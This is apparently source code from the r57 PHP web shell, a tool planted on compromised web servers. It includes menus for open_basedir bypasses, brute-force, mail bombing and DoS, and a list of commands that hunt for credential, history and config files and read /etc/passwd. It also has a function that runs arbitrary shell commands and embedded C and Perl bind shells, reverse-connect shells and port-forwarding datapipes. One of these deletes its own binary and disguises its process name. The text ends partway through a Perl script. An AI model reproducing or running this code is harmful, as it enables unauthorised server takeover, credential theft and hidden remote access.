'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)', 'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)', 'tr_text125'=>'Data', 'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)', 'tr_text128'=>'Modify/Access date(touch)', 'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)', 'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'tr_text133'=>'', 'tr_text134'=>'Database-bruteforce', 'tr_text135'=>'Dictionary', 'tr_text136'=>'Creating evil symlink', 'tr_text137'=>'Useful', 'tr_text138'=>'Dangerous', 'tr_text139'=>'Mail Bomber', 'tr_text140'=>'DoS', 'tr_text141'=>'Danger! Web-daemon crash possible.', 'tr_err0'=>'Error! Can\'t write in file ', 'tr_err1'=>'Error! Can\'t read file ', 'tr_err2'=>'Error! Can\'t create ', 'tr_err3'=>'Error! Can\'t connect to ftp', 'tr_err4'=>'Error! Can\'t login on ftp server', 'tr_err5'=>'Error! Can\'t change dir on ftp', 'tr_err6'=>'Error! Can\'t sent mail', 'tr_err7'=>'Mail send', ); $aliases=array( '----------------------------------locate'=>'', 'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt', '----------------------------------tar'=>'', 'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt', '----------------------------------1'=>'', 'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt', 'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt', '----------------------------------2'=>'', 'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt', '----------------------------------find'=>'', 'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt', 'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt', 'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt', 'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt', 'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name
231 config.dat >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt', 'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt', 'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt', 'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt', 'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt', 'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt', '-----------------------------------'=>'', 'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; $table_up2 = " ::</div></b></font></td></tr><tr><td>"; $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>"; $table_end1 = "</td></tr>"; $arrow = " <font face=Webdings color=gray>4</font>"; $lb = "<font color=green>[</font>"; $rb = "<font color=green>]</font>"; $font = "<font face=Verdana size=-2>"; $ts = "<table class=table1 width=100% align=center>"; $te = "</table>"; $fs = "<form name=form method=POST>"; $fe = "</form>"; if(isset($_GET['users'])) { if(!$users=get_users('/etc/passwd')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";} else { echo '<center>'; foreach($users as $user) {echo $user."<br>";} echo '</center>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die(); } if (!empty($_POST['dir'])) {if(@function_exists('chdir')){@chdir($_POST['dir']);}else if(@function_exists('chroot')){@chroot($_POST['dir']);};} if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} $unix = 0; if(strlen($dir)>1 &&$dir[1]==":") $unix=0;else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){$os = @php_uname();} if(empty($os)){$os ="-";$unix=1;} else { if(@eregi("^win",$os)) {$unix = 0;} else {$unix = 1;} } } if(!empty($_POST['s_dir']) &&!empty($_POST['s_text']) &&!empty($_POST['cmd']) &&$_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) &&!empty($_POST['m'])) {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);} else {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text']);} $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found >0) { $r .= "<TABLE width=100%>"; foreach($res as $file=>$v) { $r .= "<TR>"; $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); $r .= (!$unix)?str_replace("/","\\",$file) : $file; $r .= "</b></font></ TD>"; $r .= "</TR>"; foreach($v as $a=>$b) { $r .= "<TR>"; $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; $r .= "</TR>
232"; } } $r .= "</TABLE>"; echo $r; } else { echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;} $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";} function ws($i) { return @str_repeat(" ",$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(@function_exists('exec')) { @exec($cfe,$res); $res = join("
233",$res); } elseif(@function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(@function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; if(@function_exists('fread') &&@function_exists('feof')){ while(!@feof($f)) {$res .= @fread($f,1024);} }else if(@function_exists('fgets') &&@function_exists('feof')){ while(!@feof($f)) {$res .= @fgets($f,1024);} } @pclose($f); } elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes))) { $res = ""; if(@function_exists('fread') &&@function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);} }else if(@function_exists('fgets') &&@function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);} } @proc_close($f); } elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork')) { $res = '[~] Blind Command Execution via [pcntl_exec]
234
235'; $pid = @pcntl_fork(); if ($pid == -1) { $res .= '[-] Could not children fork. Exit'; }else if ($pid) { if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} else {$res .= '[-] Error. Command incorrect.';} }else { $cfe = array(" -e 'system(\"$cfe\")'"); if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); die(); } } } return $res; } function get_users($filename) { $users = array(); $rows=@explode("
236",readzlib($filename)); if(!$rows) return 0; foreach ($rows as $string) { $user = @explode(":",trim($string)); if(substr($string,0,1)!='#') array_push($users,$user[0]); } return $users; } function err($n,$txt='') { echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>'; echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; if(!empty($txt)) {echo " $txt";} echo '</b></div></font></td></tr></table>'; return null; } function perms($mode) { if (!$GLOBALS['unix']) return 0; if( $mode &0x1000 ) {$type='p';} else if( $mode &0x2000 ) {$type='c';} else if( $mode &0x4000 ) {$type='d';} else if( $mode &0x6000 ) {$type='b';} else if( $mode &0x8000 ) {$type='-';} else if( $mode &0xA000 ) {$type='l';} else if( $mode &0xC000 ) {$type='s';} else $type='u'; $owner["read"] = ($mode &00400) ?'r': '-'; $owner["write"] = ($mode &00200) ?'w': '-'; $owner["execute"] = ($mode &00100) ?'x': '-'; $group["read"] = ($mode &00040) ?'r': '-'; $group["write"] = ($mode &00020) ?'w': '-'; $group["execute"] = ($mode &00010) ?'x': '-'; $world["read"] = ($mode &00004) ?'r': '-'; $world["write"] = ($mode &00002) ?'w': '-'; $world["execute"] = ($mode &00001) ?'x': '-'; if( $mode &0x800 ) $owner["execute"] = ($owner['execute']=='x') ?'s': 'S'; if( $mode &0x400 ) $group["execute"] = ($group['execute']=='x') ?'s': 'S'; if( $mode &0x200 ) $world["execute"] = ($world['execute']=='x') ?'t': 'T'; $s=sprintf("%1s",$type); $s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']); $s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']); $s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']); return trim($s); } function in($type,$name,$size,$value,$checked=0) { $ret = "<input type=".$type." name=".$name." "; if($size != 0) {$ret .= "size=".$size." ";} $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; } function which($pr) { $path = ''; $path = ex("which $pr"); if(!empty($path)) {return $path;}else {return false;} } function cf($fname,$text) { $w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0); if($w_file) { @fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";} else {$size = $size ." B";} return $size; } } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir)) ||(@function_exists('scandir'))) { while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir)))) { if ($file != "."&&$file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$a<count($dirs);$a++) $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() {return $this->FilesTotal;} function GetTitles() {return $this->titles;} function GetTimeTotal() {return $this->TimeTotal;} function GetMatchesCount() {return $this->MatchesCount;} function GetFileMatchesCount() {return $this->FileMatchesCount;} function GetResultFiles() {return $this->ResultFiles;} function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); $aa = ''; if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec +(float)$sec); }
237
238####==========================================
239
240#include <string.h>
241#include <sys/types.h>
242#include <sys/socket.h>
243#include <netinet/in.h>
244#include <errno.h>
245int main(argc,argv)
246int argc;
247char **argv;
248{
249 int sockfd, newfd;
250 char buf[30];
251 struct sockaddr_in remote;
252 if(fork() == 0) {
253 remote.sin_family = AF_INET;
254 remote.sin_port = htons(atoi(argv[1]));
255 remote.sin_addr.s_addr = htonl(INADDR_ANY);
256 sockfd = socket(AF_INET,SOCK_STREAM,0);
257 if(!sockfd) perror("socket error");
258 bind(sockfd, (struct sockaddr *)&remote, 0x10);
259 listen(sockfd, 5);
260 while(1)
261 {
262 newfd=accept(sockfd,0,0);
263 dup2(newfd,0);
264 dup2(newfd,1);
265 dup2(newfd,2);
266 write(newfd,"Password:",10);
267 read(newfd,buf,sizeof(buf));
268 if (!chpass(argv[2],buf))
269 system("echo welcome to r57 shell && /bin/bash -i");
270 else
271 fprintf(stderr,"Sorry");
272 close(newfd);
273 }
274 }
275}
276int chpass(char *base, char *entered) {
277int i;
278for(i=0;i<strlen(entered);i++)
279{
280if(entered[i] == '\n')
281entered[i] = '\0';
282if(entered[i] == '\r')
283entered[i] = '\0';
284}
285if (!strcmp(base,entered))
286return 0;
287};
288
289####==========================================
290
291$port_bind_bd_pl="#!/usr/bin/perl
292$SHELL="/bin/bash -i";
293if (@ARGV < 1) { exit(1); }
294$LISTEN_PORT=$ARGV[0];
295use Socket;
296$protocol=getprotobyname('tcp');
297socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
298setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
299bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
300listen(S,3) || die "Cant listen port\n";
301while(1)
302{
303accept(CONN,S);
304if(!($pid=fork))
305{
306die "Cannot fork" if (!defined $pid);
307open STDIN,"<&CONN";
308open STDOUT,">&CONN";
309open STDERR,">&CONN";
310exec $SHELL || die print CONN "Cant execute $SHELL\n";
311close CONN;
312exit 0;
313}
314}";
315
316####==========================================
317
318$back_connect="#!/usr/bin/perl
319use Socket;
320$cmd= "lynx";
321$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
322$0=$cmd;
323$target=$ARGV[0];
324$port=$ARGV[1];
325$iaddr=inet_aton($target) || die("Error: $!\n");
326$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
327$proto=getprotobyname('tcp');
328socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
329connect(SOCKET, $paddr) || die("Error: $!\n");
330open(STDIN, ">&SOCKET");
331open(STDOUT, ">&SOCKET");
332open(STDERR, ">&SOCKET");
333system($system);
334close(STDIN);
335close(STDOUT);
336close(STDERR);";
337
338$back_connect_c="#include <stdio.h>
339#include <sys/socket.h>
340#include <netinet/in.h>
341int main(int argc, char *argv[])
342{
343 int fd;
344 struct sockaddr_in sin;
345 char rms[21]="rm -f ";
346 daemon(1,0);
347 sin.sin_family = AF_INET;
348 sin.sin_port = htons(atoi(argv[2]));
349 sin.sin_addr.s_addr = inet_addr(argv[1]);
350 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
351 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
352 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
353 perror("[-] connect()");
354 exit(0);
355 }
356 strcat(rms, argv[0]);
357 system(rms);
358 dup2(fd, 0);
359 dup2(fd, 1);
360 dup2(fd, 2);
361 execl("/bin/sh","sh -i", NULL);
362 close(fd);
363}";
364
365####==========================================
366
367$datapipe_c="#include <sys/types.h>
368#include <sys/socket.h>
369#include <sys/wait.h>
370#include <netinet/in.h>
371#include <stdio.h>
372#include <stdlib.h>
373#include <errno.h>
374#include <unistd.h>
375#include <netdb.h>
376#include <linux/time.h>
377#ifdef STRERROR
378extern char *sys_errlist[];
379extern int sys_nerr;
380char *undef = "Undefined error";
381char *strerror(error)
382int error;
383{
384if (error > sys_nerr)
385return undef;
386return sys_errlist[error];
387}
388#endif
389
390main(argc, argv)
391 int argc;
392 char **argv;
393{
394 int lsock, csock, osock;
395 FILE *cfile;
396 char buf[4096];
397 struct sockaddr_in laddr, caddr, oaddr;
398 int caddrlen = sizeof(caddr);
399 fd_set fdsr, fdse;
400 struct hostent *h;
401 struct servent *s;
402 int nbyt;
403 unsigned long a;
404 unsigned short oport;
405
406 if (argc != 4) {
407 fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
408 return 30;
409 }
410 a = inet_addr(argv[3]);
411 if (!(h = gethostbyname(argv[3])) &&
412 !(h = gethostbyaddr(&a, 4, AF_INET))) {
413 perror(argv[3]);
414 return 25;
415 }
416 oport = atol(argv[2]);
417 laddr.sin_port = htons((unsigned short)(atol(argv[1])));
418 if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
419 perror("socket");
420 return 20;
421 }
422 laddr.sin_family = htons(AF_INET);
423 laddr.sin_addr.s_addr = htonl(0);
424 if (bind(lsock, &laddr, sizeof(laddr))) {
425 perror("bind");
426 return 20;
427 }
428 if (listen(lsock, 1)) {
429 perror("listen");
430 return 20;
431 }
432 if ((nbyt = fork()) == -1) {
433 perror("fork");
434 return 20;
435 }
436 if (nbyt > 0)
437 return 0;
438 setsid();
439 while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
440 cfile = fdopen(csock,"r+");
441 if ((nbyt = fork()) == -1) {
442 fprintf(cfile, "500 fork: %s\n", strerror(errno));
443 shutdown(csock,2);
444 fclose(cfile);
445 continue;
446 }
447 if (nbyt == 0)
448 goto gotsock;
449 fclose(cfile);
450 while (waitpid(-1, NULL, WNOHANG) > 0);
451 }
452 return 20;
453
454 gotsock:
455 if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
456 fprintf(cfile, "500 socket: %s\n", strerror(errno));
457 goto quit1;
458 }
459 oaddr.sin_family = h->h_addrtype;
460 oaddr.sin_port = htons(oport);
461 memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
462 if (connect(osock, &oaddr, sizeof(oaddr))) {
463 fprintf(cfile, "500 connect: %s\n", strerror(errno));
464 goto quit1;
465 }
466 while (1) {
467 FD_ZERO(&fdsr);
468 FD_ZERO(&fdse);
469 FD_SET(csock,&fdsr);
470 FD_SET(csock,&fdse);
471 FD_SET(osock,&fdsr);
472 FD_SET(osock,&fdse);
473 if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
474 fprintf(cfile, "500 select: %s\n", strerror(errno));
475 goto quit2;
476 }
477 if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
478 if ((nbyt = read(csock,buf,4096)) <= 0)
479 goto quit2;
480 if ((write(osock,buf,nbyt)) <= 0)
481 goto quit2;
482 } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
483 if ((nbyt = read(osock,buf,4096)) <= 0)
484 goto quit2;
485 if ((write(csock,buf,nbyt)) <= 0)
486 goto quit2;
487 }
488 }
489
490 quit2:
491 shutdown(osock,2);
492 close(osock);
493 quit1:
494 fflush(cfile);
495 shutdown(csock,2);
496 quit0:
497 fclose(cfile);
498 return 0;
499}";
500
501####==========================================
502
503$datapipe_pl="#!/usr/bin/perl
504use IO::Socket;
505use POSIX;
506$localport = $ARGV[0];
507$host = $ARGV[1];
508$port = $ARGV[2];
509$daemon=1;
510$DIR = undef;
511$| = 1;
512if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
513%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
514$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
515$SIG{'CHLD'} = 'IGNORE';
516$num = 0;
517while (1) {
518$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
519++$num;
520$pid = fork();
521if (!defined($pid)) { print STDERR "$!\n"; }
522elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); }
523else { $ch->close(); }
524}
525sub Run {
526my($o, $ch, $num) = @_;
527my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
528if (!$th) { exit 0; }
529my $fh;
